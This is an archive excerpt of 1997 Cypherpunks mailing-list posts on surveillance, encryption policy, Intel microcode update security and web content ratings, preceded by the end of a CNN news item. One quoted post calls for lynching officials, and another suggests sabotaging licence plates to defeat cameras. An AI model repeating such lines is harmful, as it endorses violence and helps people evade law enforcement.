   CNN.
   [INLINE] Kennard, the FCC's current general counsel, would succeed
   Reed Hundt, if confirmed by the Senate.
   [INLINE] The sources say the president could make the announcement as
   early as Friday, though the official announcement could slip a bit.
   [INLINE] Kennard was favored for the job by Vice President Al Gore,
   the White House official who makes most of the final decisions
   regarding FCC appointments, because of Gore's long time work on
   telecommunications issues. But another telecommunications policy maker
   in Washington is furious at the White House for the Kennard selection.
   [INLINE] Sen. Ernest Hollings, the ranking Democrat on the Senate
   Commerce Committee, had pushed his former chief of staff on the
   committee, Ralph Everett, for the job. Everett, the first African
   American to ever serve as chief of staff to any Senate committee, had
   the endorsement of 16 Senators and was considered a leading candidate
   for the job.
   [INLINE] Not only is Hollings angry that his candidate didn't get the
   nod, but sources say he is also miffed about how the White House
   handled the process of making the final decision. White House Chief of
   Staff Erskine Bowles called Hollings, Senate sources say, "to
   apologize for how this was handled."
   [INLINE] One source close to Hollings told CNN Financial News, "Don't
   expect quick work in the Senate on this nominee."
   [INLINE] The president also is expected to nominate Justice Department
   attorney Michael Powell to fill a Republican vacancy on the
   five-member FCC, according to the sources.
   [INLINE] And Gloria Tristani, a phone regulator from New Mexico, is
   expected to be Clinton's choice to fill a Democratic seat.
   [INLINE] Those two nominations, however, aren't expected to be
   announced at the same time as the Kennard pick. Clinton already had
   nominated Kennard for the FCC. But the president has yet to name his
   choice for chairman of the agency following Hundt's announcement in
   May that he planned to leave.
   [INLINE] Clinton already has nominated Harold Furchtgott-Roth, chief
   economist for the House Commerce Committee, to fill a second
   Republican vacancy. The FCC oversees the phone, broadcast, wireless,
   satellite and cable-television industries. Link to top 
   
   
   
   home | washington unwrapped | hot stories | contents | search | stock
   quotes | help
   
   Copyright &copy; 1997 Cable News Network, Inc.
   ALL RIGHTS RESERVED.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 26 Jul 1997 01:34:21 +0800
To: snow <kent@songbird.com>
Subject: Re: CCTV Cameras in Britain
In-Reply-To: <19970715183341.01502@bywater.songbird.com>
Message-ID: <v03102801affded6b5866@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>>>Rick Morbey <rmorbey@morbey.com>, wrote:
>>Steve Schear <azur@netcom.com>, wrote:
>David.K.Leucht.1@gsfc.nasa.gov, wrote:
>>>Privacy International says that in Britain, there are an estimated
300,000 CCTV surveillance cameras in public areas, housing estates, car
parks, public facilities, phone booths, vending machines, buses,
trains, taxis, alongside motorways and inside Automatic Teller (ATM)
Machines. Originally installed to deter burglary, assault and car
theft, in practice most camera systems have been used to combat
'anti-social behavior'. including many such minor offenses as
littering, urinating in public, traffic violations, obstruction,
drunkenness, and evading meters in town parking lots. They have also
been widely used to intervene in other 'undesirable' behavior such as
underage smoking and a variety of public order transgressions. Other
innovative uses are constantly being discovered.

>>>These 'military-style' cameras are often installed in high-rent
commercial areas. Crime statistics rarely reflect that crime may merely
be pushed from these high value commercial areas into low rent
residential areas. Richard Thomas, Acting Deputy Chief Constable for
Gwent, in his interview with 20/20, said "Certainly the crime goes
somewhere. I don't believe that just because you've got cameras in a
city center that everyone says 'Oh well, we're going to give up crime
and get a job".

>>>In one survey commissioned by the UK Home Office a large proportion of
respondents expressed concern about several key aspects of visual
surveillance, says Privacy International. More than fifty per cent of
people felt neither government nor private security firms should be
allowed to make decisions to allow the installation of CCTV in public
places. Seventy-two per cent agreed "these cameras could easily be
abused and used by the wrong people". Thirty-nine per cent felt that>people
who are in control of these systems could not be "completely
trusted to use them only for the public good". Thirty-seven per cent
felt that "in the future, cameras will be used by the government to
control people". They already have. British CCTV surveillance systems
were used by the Chinese government at Tienamen Square to suppress the
student Democracy movement.

>>>The fact is that FastGate and CCTV surveillance systems represent the
tip of the technological iceberg. It is already far too late to prevent
the invasion of surveillance and database systems which are getting
faster, smarter, and cheaper every year. Innovation and miniaturization
have created systems which can take pictures through the walls of your
building and record every sound you make with satellites and blast the
information to the other side of the world in a millisecond.  Computers
may already hold the financial, educational, medical and DNA records of
each and every one of us. If not, they soon will. Strangers may already
be collecting information on our whereabouts and cruising through our
most personal information with impunity. We may have already created a
world in which nothing is private.

>>>Do we try to protect Democratic freedoms by legislating safeguards
against the abuse of private data? Must we accept that the mightiest
individuals and institutions cannot be held accountable, and there is
no use in trying? Or do we simply acquiesce, and accept that privacy is
an outdated concept when cheap technology makes everyone vulnerable,
wolves and lambs alike? The choices are not easy, but in the words of
David Brin, "asking questions can be a good first step".

>>One of the possible instruments needed to thwart such surveillence is the
>>adoption of 'masks' which are socially acceptable for public use. Ideally
>>they should all look alike, sort of something out of The Prisoner. Once a
>>certain threshold of adoption has been passed the only option for law
>>enforcement will be to remove the offending devices or declare maks
>>illegal for public use (a real stretch for civil liberties).

>I was living in Malaysia at the end of the 70's. I was told by locals,
>that people were prohibited, by law, from wearing motorcycle helmets (or
>similar headgear) which had tinted facemasks. The rational was that a
>significant number of bank robbers had worn the helmets to obscure their
>faces from cameras and eye-witnesses at the time of their robberies.

It is true that many countries and many US states (e.g., California)
prohibit certain forms of dress.  The logic seems to be that the state has
a more significant interest in public safety than citizens do in their
apparel.  It is noteworthy that, in the US, the wearing of masks is
tolerated during Halloween.  Also, Moslem woman aren't forced to disrobe or
uncover their heads.  I'm confident that if a new-age religeous sect took
to wearing masks it would be difficult for law enforcement, at least in the
US, to overcome.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Fri, 25 Jul 1997 11:16:40 +0800
To: shamrock@netcom.com (Lucky Green)
Subject: Re: Fortezza dying on the vine?
In-Reply-To: <Pine.3.89.9707241935.A8237-0100000@netcom2>
Message-ID: <199707250257.WAA01323@pig.die.com>
MIME-Version: 1.0
Content-Type: text



Lucky Green wrote :

> The State department is using PGP for some overseas applications. Word 
> is that the NSA was quite unhappy to be told by State that 
> Fortezza just isn't up to par.

	That is astonishing.  Are you really really sure of your source ?
I presume this is for UNCLASS traffic and not anything in any way
sensitive ?   Of course PGP, when properly used, doesn't allow any
other agencies to monitor the coms, while Fortezza may - and this
may be a quite deliberate move by some in state to protect their cables
from being read by beaurocratic rivals...

							Dave Emery
							die@die.com

> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hayden-0797-EMP-HSE <rhayden@orion.means.net>
Date: Fri, 25 Jul 1997 13:15:25 +0800
To: snow <snow@smoke.suba.com>
Subject: Re: "The Failure to Do Your Job" amendment (was Re: White House ...)
In-Reply-To: <Pine.LNX.3.95.970724185832.273C-100000@smoke.suba.com>
Message-ID: <Pine.GSO.3.96.970725000909.8448A-100000@orion.means.net>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 24 Jul 1997, snow wrote:

> On Wed, 16 Jul 1997, William H. Geiger III wrote:
> > Any elected official or govenment employee found to have willfuly violated
> > the Constitution of the United States of America should be draged to the
> > capitol steps and promptly lynched.
> 
> 	Then you'd have to lynch those that did the dragging and lynching 
> as each induhvidual has the constitutional right to a trial.

An amendment that allowed lyching-without-trial would make it legal.
 
=-=-=-=-=-=
Robert Hayden					rhayden@means.net
IP Network Administrator			(612) 230-4416
MEANS Telcom





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Fri, 25 Jul 1997 13:25:26 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell Docket 3
In-Reply-To: <3.0.2.32.19970724134314.006f883c@pop.mhv.net>
Message-ID: <3.0.2.32.19970725003339.006b708c@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



>On Thu, 24 Jul 1997, Lynne L. Harrison wrote:
>
>> With certain exceptions, court proceedings are open to the public which is
>> why one is able to read articles in newspapers about certain cases.
>> 
>> The only way that the IRS' leaking the Plea Agreement by sending email to
>> individuals would constitute contempt of court is if there was a gag order.


At 02:06 PM 7/24/97 -0400, Ray Arachelian wrote:
>
>A. It's unsolicited spam.
>B. The way they gathered the list of addresses is questionable, and likely
>off Jim's HD.  If this is the case, can it be used to send the warning
>message?


In my personal opinion (IMPO - see Disclaimer below), 47 USC 227 is the
closest statute that pertains to Question #1.  The problem is that
unsolicited email, per the statute's definition, refers to unsolicited
commercial email.  OTOH, if I were to email you privately, it would
technically be unsolicited.  If you replied and requested that I
discontinue, and I persisted, then most states have laws
governing/precluding my behavior.

Question #2 is a thornier issue.  As we know, we can get lists of email
addresses from a variety of sources.  The "missive" was neither slanderous
nor untrue.  Additionally, the beginning of the message described it as a
press release.  To allege that it was a "warning message", one would have
to prove that, in fact, it was not a press release but, rather, it was
meant to be a warning to the recipients.

I question, however, if is proper/appropriate for a governmental entity to
retrieve email addresses off of a computer involved in a criminal matter
and use those addresses to send the type of message that was sent to a
selected few?  Unfortunately, I have no answer to this query.

Do any other individuals have any thoughts concerning this issue?




***********************************************************************
Lynne L. Harrison, Esq.     | "I love deadlines.  I love the whooshing    
Poughkeepsie, New York      |  sound they make as they fly by."  
http://www.dueprocess.com   |              - Douglas Adams
***********************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Fri, 25 Jul 1997 13:02:03 +0800
To: cryptography@c2.net
Subject: Another vulnerability
Message-ID: <199707250447.AAA01770@pig.die.com>
MIME-Version: 1.0
Content-Type: text



With Intel, Hackers Check In When Bugs Check Out 

By Alexander Wolfe

SANTA CLARA, Calif. -- Intel's BIOS Update technology to quickly
fix bugs that crop up in its microprocessors without having to recall
the
chips may contain a Trojan horse -- a hole that could potentially enable
hackers to wreak havoc on the company's CPUs -- said a BIOS expert
familiar with the technology.However, other industry experts said they
believe Intel is staking out a pace-setting position with its
bug-busting
technology. They give the semiconductor giant kudos for using BIOS
Update to reduce the impact of bugs in the face of a verification crisis
that
makes it increasingly difficult to ensure that microprocessors with tens
of
millions of transistors are validated and free of flaws.

BIOS Update is a hidden feature that can fix bugs in Pentium Pro and
Pentium II CPUs by patching the microcode inside the microprocessor.
When the processor boots up, the BIOS loads the patches, which are
contained in a 2,048-byte-long BIOS Update data block that is supplied
by Intel.
"The problem is, the BIOS cannot verify whether the BIOS Update data
block contains real microcode or not," claimed one BIOS expert, who
requested anonymity. "As long as the header and the checksum are okay,
the BIOS will load that microcode into the microprocessor. Some hacker
could actually wipe out microcode in the CPU. There is nothing that can
prevent this."

Intel doesn't see such a scenario as a realistic threat, pointing to the
fact
that the BIOS Update data block is encrypted. "We've spent quite a lot
of time thinking about such scenarios to make sure we had sufficient
mechanisms in place so you couldn't introduce your own flavor of BIOS
Update into the processor," said Ajay Malhortra, a technical marketing
manager based here at Intel's microprocessor group. "Not only is the
data block containing the microcode patch encrypted, but once the
processor examines the header of the BIOS update, there are two levels
of encryption in the processor that must occur before it will
successfully
load the update."

But Intel's biggest security feature may lie in keeping the technical
details
behind its BIOS Update technology a closely guarded secret. "There is
no documentation," said Frank Binns, an architect in Intel's
microprocessor group. "It's not as if you can get an Intel 'Red Book'
with
this stuff written down. It's actually in the heads of less than 10
people in
the whole of Intel."

However, some experts remain unconvinced. "This is just like any other
technology -- if you want to reverse-engineer it, you can," said Ed
Curry,
president of Lone Star Evaluation Laboratories, a Georgetown, Texas
microprocessor benchmarking and testing company. "You can do it by
brute force, or a hacker could obtain information from someone inside
the
company or someone who had access to the documentation."

Indeed, Curry, who said he's made presentations on computer-security
issues to the U.S. Defense Department, said he believes microprocessor
hardware in general is much more vulnerable to hacking than is commonly
believed.

"This is the big hole in our government security programs," he said.
"They
don't look at hardware as well as they should; they only look at
software.
This goes beyond desktop computers. You have to remember that
microprocessors are now embedded in our weapons systems."

Nevertheless, it's widely believed that it would be tough for a hacker
to
fake a complete microcode patch, in no small measure because it's also
very difficult to obtain documentation that details the internal
representation -- word widths and usage of all the bits -- of Pentium
Pro
microcode. In the era of the 8086 and 8088, microcode documentation
was readily available. But such information is provided to selected
developers only under tight nondisclosure restrictions. "It's a tightly
held
secret," Intel's Binns said.

New-Tech Jitters

However, it is seen as more feasible for a hacker to successfully fake
the
header and checksum portion of the BIOS Update data block --
something that could still cause the microprocessor to crash or lock up.

According to another BIOS expert, talk of potential Trojan horses might
be nothing more than jitters about new technology. "This is a new thing
in
the market," said the expert, who likened it to the early days of flash
BIOS.

"There was a great fear factor when the industry started using flash
BIOSes," he said, "where concerns were raised that somebody could go
in and destroy a system by flashing in a new BIOS containing an errant
piece of code. I think today there's a fear that someone will play
around
with this BIOS Update feature and try to cause havoc with Intel's
CPUs."

As an added security precaution, some BIOS manufacturers limit access
to their software. "As a matter of policy, we don't make our BIOS code
available to anyone other than a system vendor or motherboard
manufacturer," said Thomas Benoit, corporate marketing manager at
BIOS vendor Phoenix Technologies, Natick, Mass. "We don't believe
anyone should be twiddling the bits in our BIOS code."

Irrespective of Trojan horse scenarios, many experts see Intel's
bug-busting technology as a boon. "This feature benefits everyone -- it
shouldn't be viewed as a liability, but as an asset," said Mark Huffman,
marketing manager at American Megatrends, in Norcross, Ga. "It allows
you to be able to update your processor without pulling it out of the
system. Obviously, you can flash in a new BIOS a lot quicker than you
can pop the case, pop the CPU and wait for a replacement."

Indeed, BIOS Update has already been successfully used in the field to
fix glitches in Pentium Pro-class CPUs, according to an Intel spokesman
and to sources at several major BIOS vendors.

"Yes, it is used," said an engineer at one vendor. "I personally know of
five different things in the Pentium Pro related to multiprocessing,
system
management interrupt and other areas."

"I think it'll be very useful," Phoenix Technology's Benoit said. "It's
really to Intel's benefit that BIOS vendors are implementing this
feature."

"It's a very good feature," said Laurent Gharda, vice president of
marketing at BIOS vendor Award Software International, in Mountain
View, Calif. "The downside is going to be lower performance, perhaps.
But the upside is avoiding a chip recall, as took place a few years
ago."
Intel's Pentium was recalled in January 1995 following the revelation of
a
bug in the processor's floating-point divide operations.

Moreover, some say BIOS Update may signal the start of an
industrywide trend. "These new Pentium-class clone CPUs that have
recently been announced -- like the Centaur microprocessor -- they're
going to do the same type of process," said Huffman at American
Megatrends. Centaur -- officially the IDT-C6 -- is made by Centaur
Technology, an Austin, Texas-based subsidiary of Integrated Device
Technology. It was introduced in May and delivered to beta customers in
Taiwan last month.

At Centaur, a spokesman said, "The current silicon we are sampling has
that capability, but in the production version of the chip we are
dropping
the feature, because it necessitates an increased die size."

As a result, any bugs that crop up will have to be fixed via a mask
revision
-- a path the spokesman described as preferable. "Ideally, you want to
do
fixes by mask changes," he said. "That way, you'll have clean silicon
moving forward. Otherwise, you have lots of different versions of BIOS
floating around." But Centaur can easily add the feature back into
future
versions, if it wishes.

For its part, Advanced Micro Devices of Sunnyvale, Calif., does not have
the feature in its K5 and K6 microprocessors, according to a company
spokesman. "There are some errata that can't be fixed by a BIOS update
-- specifically, a hardwired instruction can't be changed." He added
that
AMD has the ability to add the feature into future designs, if it deems
it
necessary.

Still, Huffman of American Megatrends thinks the BIOS Update feature
has legs. "I think you'll see a trend toward CPU manufacturers
incorporating this capability so they can perform microcode updates in
the
field," he said. "It gives them more flexibility in their manufacturing
process -- they can keep their fab lines running and don't have to stop
them to make a mask change and switch to a new stepping every time
there's an
erratum. More important, they don't have to recall the stepping that has
the bug. They can just issue a BIOS update."

Intel doesn't tell the BIOS vendors what bugs are being fixed in any
given BIOS Update. However, there appears to be a way to figure that
out.

 "It's true you can't see what's happening from a binary standpoint,"
the
BIOS expert who requested anonymity said. "But Intel does release
errata along with the update, which gives an explanation of what the
update is for. To that extent, you know what they're fixing, though you
don't know the exact binary details of what's occurring."

Although the BIOS Update feature is firmly in place in the Pentium Pro
and Pentium II families, Intel declined to comment on whether it is
being
used in Pentiums with the MMX multimedia extensions. Looking ahead,
deciding whether to implement the technology in future CPU families will
involve architectural considerations that extend far beyond a desire to
bust
bugs.

"We're just learning the power this technology really has," Intel's
Malhortra said. "In concert with that, we're also becoming more aware of
some of its limitations. For example, the trade-off between die size
that's
used for microcode-patchable space [i.e., for the BIOS Update feature]
vs. die size that can be devoted to performance enhancements or to
additional micro-architectural features is a tough one."

Validation Boost

"One could make the argument that, with improved validation processes,
you won't need to expand silicon real estate devoted to the
microcode-patch feature, because early validation would catch the bulk
of
problems," Malhortra added.

Nevertheless, there's a growing concern that microprocessor bugs could
become a bigger problem as 64-bit CPU architectures -- which will be
orders of magnitude more difficult to validate than current designs --
are
introduced toward the end of the decade.

"It's becoming abundantly clear that the ability to manufacture in high
volume and to provide a reliable product through validation are somewhat
mutually exclusive," Intel's Binns said. "It takes a fairly large amount
of
time to wring all the errata out of a processor. Fixing errata by making
changes to silicon is OK, if you can make those changes quickly.
Unfortunately, with the complexity of the processors we've got today,
that's not acceptable. The smarter we can get with features like this,
the
less errata we bring to market. And if we do see errata after we ship,
we
can correct them in situ."

----- End of forwarded message from Richard Crisp -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 25 Jul 1997 14:33:49 +0800
To: snow <snow@smoke.suba.com>
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.LNX.3.95.970724203416.273H-100000@smoke.suba.com>
Message-ID: <Pine.GSO.3.95.970725022551.17933D-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain





On Thu, 24 Jul 1997, snow wrote:
> > Where is Declan when you need him. ]:>
> 
> 	I wonder if he got it. 

Nope.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 25 Jul 1997 19:26:16 +0800
To: cypherpunks@toad.com
Subject: Reap and Sow
Message-ID: <1.5.4.32.19970725110858.006f6168@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The Congressional Record reprinted July 23 "Anti-Government,
Anti-Social Attitudes," a news column which examines the
increasing discontent caused by governmental programs. It
describes the increasing psychopathology by those who have 
suffered economic harm due to shifts in the nation's and 
international resources and the appeal of anti-government and
anti-social acts in response to failure to meet obligations to the 
citizenry. Not a few think OKC bombing is the the way to fight 
government-sponsored terrorism against civilians.

  http://jya.com/anti-gov.txt

Couple that with reports on DoD's efforts to combat terrorism 
against its troops abroad, more funding of counterterrorism
and more sharing of "dual-use" weaponry with jittery, trigger-
itchy law enforcement and IRS infohighway bandits around 
the globe. Boil the frogs.

Says the snarling marshal (OSFOR trooper), just back from 
stress counseling and a beer, to the neighbor (rapee) kicking and 
screaming: It's dog eat dog, in the battle to keep our family fed, so 
sorry, but we gotta enforce order and the law (our exculpatory Bible), 
burp, tell it to the judge (the President), my therapist (godfather).

Meanwhile have a pleasant remand while the court's on vacation.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Fri, 25 Jul 1997 19:42:46 +0800
To: Kent Crispin <cypherpunks@toad.com
Subject: Re: Brit Fascists To Track Motorists - DigiCash Obsolescent
In-Reply-To: <199707231815.UAA09529@basement.replay.com>
Message-ID: <3.0.2.32.19970725072354.03bfa02c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 02:34 AM 7/24/97 -0700, Kent Crispin wrote:
>On Wed, Jul 23, 1997 at 01:59:00PM -0700, Bill Stewart wrote:
>[...]
>> And, yes, all of this privacy loss happens because somebody decided
>> it was convenient to put a car-ownership-tax receipt on the outside
>> of a car so police can quickly decide if you've paid your taxes...
>> The rest of it's just implementation details.
>
>Of course, you could just confine your driving to private roads, and
>leave the license plate off. 

Sabotaging your plates so they weren't machine readable or using a car 
registered in Slovenia or Wisconsin (both possible in the UK) would make more 
sense.

DCF
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM9iMyYVO4r4sgSPhAQFGPwP8Dn6f8HkS4YYQcCAdojTsHPtluYun6xKT
4Rg2jVD0AH4wvk+aPLHuMkImdLvIoRUEtethudiRqPyW04ulj3GZFRDdIH8ck8wN
0ULTz128WcePyLKKVAhZnSVqmlF120lltFh2u0URsSoS8s5DMZBpAH6UfBNsBqIb
1XMsLgYCn2s=
=6dIy
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 25 Jul 1997 21:50:03 +0800
To: Ray Arachelian <fnorky@geocities.com>
Subject: Re: DEATH TO THE TYRANTS
In-Reply-To: <33D77571.6FC0@geocities.com>
Message-ID: <v0311074baffe40d42057@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:51 pm -0400 on 7/24/97, Ray Arachelian wrote:


> Sure you want'em?  They're probably as buggy as a swap in july.

No. That's Washington, in general...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ted Cabeen <cabeen@netcom.com>
Date: Sat, 26 Jul 1997 00:21:18 +0800
To: cypherpunks@toad.com
Subject: Puzzle Palace 2nd edition?
Message-ID: <3.0.2.32.19970725090522.00a1b220@acs-popmail.uchicago.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

I few months ago, around when the second edition of The Codebreakers 
came out, there was mention of a second edition of the Puzzle Palace. 
 Was that just a misguided rumor, or is there a second edition in the 
works?  I was planning on rereading it, but if a second edition is 
soon coming, I'll wait.
Thanks.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBM9jOvNBqlyHCkS2NAQEZHgf/Vf3WvnIjzfPCt2wjC7wqwTS6ke26/epr
7J41U+aCrk/fVTtBrTPSmjOTTgfKatRfI407Iq7h2YDHP7FVAKnVzIlXLSddtbr2
1p7A3OU0thZcn9sdq8LfJovqDXgdflSiU+eGC7uhU4MK0Tdx1Xc+/ARO/v6E7zXQ
y7sLudLEXyG7P7oM6aLa1eebpfv2rOdq7l5sgIeNRn56k6QuWpFAx1aALjIaWxJD
ZnEtLfq/kPXQHu0jXy1mKtb7wvr4+iF/VNI+mDlCh2Q9HvNSi6wGq1vREoJNazxq
ReVIeMYwxJt92RLmwDNexFA0qlaB56jNWaH4TER8Qc5JYH+2llNCAQ==
=cQhp
-----END PGP SIGNATURE-----

--
Ted Cabeen         http://shadowland.rh.uchicago.edu         cabeen@netcom.com
Check Website or finger for PGP Public Key        secabeen@midway.uchicago.edu
"I have taken all knowledge to be my province." -F. Bacon   cococabeen@aol.com
"Human kind cannot bear very much reality."-T.S.Eliot 73126.626@compuserve.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 26 Jul 1997 00:34:56 +0800
To: cypherpunks@toad.com
Subject: Yet another self-labeling system (do you remember -L18?)
Message-ID: <Pine.GSO.3.95.970725091518.21324B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 25 Jul 1997 12:08:32 -0400 (EDT)
From: James Love <love@cptech.org>
To: Jonah Seiger <jseiger@cdt.org>
Cc: Declan McCullagh <declan@well.com>, fight-censorship@vorlon.mit.edu,
    chris_barr@cnet.com
Subject: Re: CDT, RSACi, and "public service" groups


Jonah, I think the problems with the RSACi rating system are pretty
obvious, and I also think it should be obvious that *any* rating system
that would aspire to rate all or even a significant number of web pages
would be a bad thing.  That said, it seems to me that there exist web
pages that are unambiguously inappropriate for children.  Has CDT rejected
the idea of a very narrowly focused voluntary rating system that would
apply to those sites only?  I have in mind a simple voluntary tag of the
nature:  <META NAME="Rating" CONTENT="adult">
that would only be used when the web site wanted to signal that it did not
want children to have access to the site?

It seems to me that a consensus to use this simple system would take the
steam out of the more ambitious (and troubling) PICs type systems, and
also do much to eliminate the market for filtering software.  I also think
it would make it easier for many libraries and schools to permit students
to have unrestricted access to the Internet. 

I know that some people think this simple tagging system is not among the
proposals seriously under consideration.  But why should we let RSAC or
large commerical entities like AOL or Microsoft control this debate?  In
any event, I was wondering what CDT's thoughts are on this. 

   James Love <love@cptech.org>


-------------------------------
James Love 
Center for Study of Responsive Law | Consumer Project on Technology 
P.O. Box 19367, Washington, DC 20036 | http://www.cptech.org
Voice 202/387-8030 | Fax 202/234-5176 | love@cptech.org







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sheedy, E.C.C." <E.C.C.Sheedy@research.kpn.com>
Date: Fri, 25 Jul 1997 15:24:34 +0800
To: "'cypherpunks@Algebra.COM>
Subject: encryption evaluater software
Message-ID: <l=NTG3-970725081806Z-9269@ntl11.research.kpn.com>
MIME-Version: 1.0
Content-Type: text/plain



>July 10, 1997
>
>----------
>
>
>Nikkei English News via Individual Inc. : (Nikkei Industrial Daily, July 8,
>1997) 
>
>Mitsubishi Electric Corp. said it has developed a software program which
>can be used to evaluate the security of various symmetric-key encryption
>algorithms, where the sender and recipient share the same key. 
>
>The program analyzes a given encryption technology and displays the amount
>of computing power required to deduce the key and decrypt the message. 
>
>Secure and practical data encryption is a necessary technology for the
>popularization of electronic money and electronic commerce. Mitsubishi's
>program could end up becoming an index by which to objectively evaluate the
>many new symmetric-key encryption methods being developed. 
>
>The software combines the differential decryption method developed by
>Israeli encryption expert Adi Shamir with Mitsubishi's proprietary linear
>decryption method. By attempting to deduce the key with simple
>approximations of the encryption algorithm, the program determines the
>minimal volume of computations needed to crack the code, and also shows how
>long the key should be in order to make decryption nearly impossible. 

>Mitsubishi said it has also finished development of a software program
>which uncovers the key based on the pattern of random numbers generated in
>the course of encrypting a message. 

>The next step for the company is to combine all three decryption methods
>into a comprehensive program for evaluation. Working with support from the
>Ministry of International Trade and Industry, the company hopes to finish
>and publicize its program by next spring, providing it free of charge to
>users. (More) 

________________________________                          
kpn   research                      E.C.C. Sheedy
  n m  m  m  m  m     
 n________________________           Security & Card systems
                                                                        
                                                          
  
                       
P.O. Box 15000	                                   Telephone        +31
50 582 17 92	
9700 CD Groningen	                   Telefax              +31 50 312 24
15	
The Netherlands
	
e-mail	                           e.c.c.sheedy@research.kpn.com
________________________________________________________________






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 26 Jul 1997 00:31:24 +0800
To: cypherpunks@toad.com
Subject: CDT, RSACi, and "public service" groups (1/3)
Message-ID: <Pine.GSO.3.95.970725091822.21324C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 24 Jul 1997 15:12:36 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Cc: chris_barr@cnet.com
Subject: CDT, RSACi, and "public service" groups


On Thu, 24 Jul 1997, Jonah Seiger wrote:

> We do not believe ratings are appropriate for news sites or sites that are
> geared toward public discussion of political/social issues (CDT has refused
> to rate our sites with RSAC).

Of course that hasn't stopped CDT from, as I understand it, proposing
a "public service site" exemption to RSAC, similar to the "news site"
exemption.

Under such an RSAC-PS scheme, organizations defined as legitimate "public
service" groups -- and only those groups! -- would be exempt from labeling
each of their pages for violence, nudity, and so on. After all, if CDT
wanted to label and the RSAC-PS scheme didn't exist, they'd have to cordon
off the portion of their site with the Pacifica decision as inappropriate
for children. The RSAC working group discussed "public service sites,"
according to RSAC head Stephen Balkam, during a conference call on
July 10.

RSAC-PS raises the same troubling questions as RSACnews: what is a "public
service" group? Who decides? Is CDT? Focus on the Family? The
fight-censorship archives? The Cato Institute? The Washington Post? The
U.S. Congress? The Democratic Party? NAMBLA? Jim Bell's Multnomah County
Common Law Court?

The above is what I understand to be the case. I emailed CDT a week ago
about this but haven't heard back. I'd appreciate clarification.

-Declan







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 26 Jul 1997 00:31:59 +0800
To: cypherpunks@toad.com
Subject: CDT, RSACi, and "public service" groups (2/3)
Message-ID: <Pine.GSO.3.95.970725091849.21324D-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 24 Jul 1997 19:27:07 -0400
From: Jonah Seiger <jseiger@cdt.org>
To: Declan McCullagh <declan@well.com>, fight-censorship@vorlon.mit.edu
Cc: chris_barr@cnet.com
Subject: Re: CDT, RSACi, and "public service" groups

At 3:12 PM -0700 7/24/97, Declan McCullagh wrote:
>On Thu, 24 Jul 1997, Jonah Seiger wrote:
>
>> We do not believe ratings are appropriate for news sites or sites that are
>> geared toward public discussion of political/social issues (CDT has refused
>> to rate our sites with RSAC).
>
>Of course that hasn't stopped CDT from, as I understand it, proposing
>a "public service site" exemption to RSAC, similar to the "news site"
>exemption.

This is not even close to accurate.  We have not proposed anything.

We have told RSAC that we will not rate our sites with their system because
we do not believe that ratings are appropriate for politically
oriented/social issues sites or news sites.

When we discovered that RSAC was considering a news rating, we were
concerned and asked them to tell us what they had in mind.  As part of that
conversation, we asked whether CDT and the other sites we produce (which
are not 'news' sites in the same way the New York Times) would also fall
under that classification, or some other yet to be determined category.

My guess is that this fact got garbled in the translation to you from
someone at RSAC (or perhaps you were just too eager find what you were
looking for).

>RSAC-PS raises the same troubling questions as RSACnews: what is a "public
>service" group? Who decides? Is CDT? Focus on the Family? The
>fight-censorship archives? The Cato Institute? The Washington Post? The
>U.S. Congress? The Democratic Party? NAMBLA? Jim Bell's Multnomah County
>Common Law Court?

